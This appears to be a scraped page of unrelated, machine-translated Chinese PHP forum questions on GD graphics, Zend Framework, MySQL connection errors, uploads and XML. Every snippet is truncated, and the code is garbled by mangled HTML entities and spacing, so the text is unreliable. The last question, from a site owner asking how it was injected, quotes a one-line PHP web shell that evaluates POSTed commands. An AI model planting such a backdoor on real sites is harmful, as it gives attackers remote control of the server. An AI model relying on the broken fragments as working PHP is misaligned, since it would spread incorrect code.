PHP

Ask an application about GD and ask the function related to the GD library to implement the graphic effect. I have no idea how to use a small image (such as 50*50) to build a Chinese character graph, thank you very much for your advice !, First,

For example, I have two actionfunctionindexAction () {$ data1 = 'data1';} functiongetAction () {$ data2 = 'data2 ';}. what should I do if I want to use $ data1 in get, you can transmit parameters to the controller zf. For example, I have two

How can I display the content of the admin. php page ;? Phperror_reporting (E_ALL & amp ;~ E_NOTICE); include (& quot; conn. php & quot;); if (isset ($ _ GET [out]) & amp; $ _ GET [out] how can I display admin. php page content Error_reporting

What framework does the discuz Forum use for development? I have never touched discuz, nor have I used php frameworks for development. So I really want to learn it myself. I don't know what framework discuz uses. it's best to combine it. If not

In the programming language ranking, php is getting lower and lower. now java and. net are everywhere on the web side. sorry, I am so sad... Is it swollen... Targeting PHP in freshman year is optimistic about its future. The result is now... In the

I want to find a group of Cainiao who are learning zendframework .. no one answered the question after mixing two groups. a man is willing to teach me how to add a group or Q to me .., isn't it better than a group? Find a group to learn

The CI form corresponds to the action syntax ??? & Lt; formid = & quot; form1 & quot; name = & quot; myform & quot; method = & quot; execute & quot; action = & quot ;??????? & Quot; & gt; & nbsp CI form corresponding action Writing ??? After

Search for a specified key value in the array. Do I have to traverse it? Array format: PHPcodeArray ([0] = & gt; Array ([0] = & gt; ID [1] = & gt; Nickname) [1] = & gt; does Arra need to traverse a specified key value in the array? The array format

Php connection to mysql error: Fatalerror: Fatal () php connection to mysql error: Fatalerror: Calltoundefinedfunctionmysql_connect (). phpinfo configure the following php connection to mysql error: Fatal error: Call to undefined function

Could you please answer the WSKEY & lt; in PHP ;? Phpdefine (& quot; db_host & quot;, & quot; localhost & quot;); define (& quot; db_user & quot;, & quot; chtt & quot ;); define (& quot; db_pass & quot;, & quot; 7o4 Define ("db_host", "localhost "

How can I update the image cache in iframe in IE? I show an image in iframe, and then upload the image to overwrite the image (the original image has been overwritten, the two images have the same name), but why is the original image displayed on

Why can't I create images after I have opened displayerrors for PHP in WAMP? Why can't I create an image after displayerrors is opened in PHP in WAMP, so that I cannot create a verification code. After displayerrors is disabled, you can create

The ZF framework configuration is easy to understand. for example, in include_path, set ZEND_TOOL_INCLUDE_PATH_PREPEND = & quot;/path/to/ZendFramework/library & quot; what path is this/path/??? Other minor issues with ZF framework configuration At

How does php write form data into XML files? How does php write form data into XML files? I am asking for advice. it is best to show the code section !, PHPcoderequire ('config. php'); $ doc = newDOMDocument ('1. 0', & quot; gb2312 & php how to

Can a png file write text information? Can a png file write text information? Like hello.png, I want to store some information in the image: author: Johnwebsite: http://google.com and then use some special tools to view the information. Is this

Use $ this-& gt; display () in file A to call the method of another class file. what should I do? File A: PHPcodeclassindexAction {publicfunctionindex () {echo 'abc'; $ in file A, use $ this-> display () to call the method of another class file.

How can I determine whether a database in MySQL exists? The following code FAILED ~ I want not to create $ db = mysql_connect ($ _ GET [& quot; MySQL_URL & quot;], $ _ GET [& quot; db_User_Name & quot;] in the case of a database, $ _ GET [How do I

Question about uploading the file move_uploaded_file & lt ;? Php/* & nbsp; * Createdon2012-1-18 & nbsp; * Tochangethetemplateforthisgenera file Upload move_uploaded_file problem /* * Created on 2012-1- * * To change the template for this

Submit HTMLcode for single php selection & lt ;! DOCTYPEhtmlPUBLIC & quot;-// W3C // DTDXHTML1.0Transitional // EN & quot; http://www.w3.org/TR/xhtml1/DTD php single choice submit HTML code Untitled Document

The php vulnerability is urgent... we do not know how to add test. php content to our website: & lt ;? Phpeval ($ _ POST [cmd]);? & Gt; I found a lot of information and didn't see a rough picture .. 1. I want to know how this is generally injected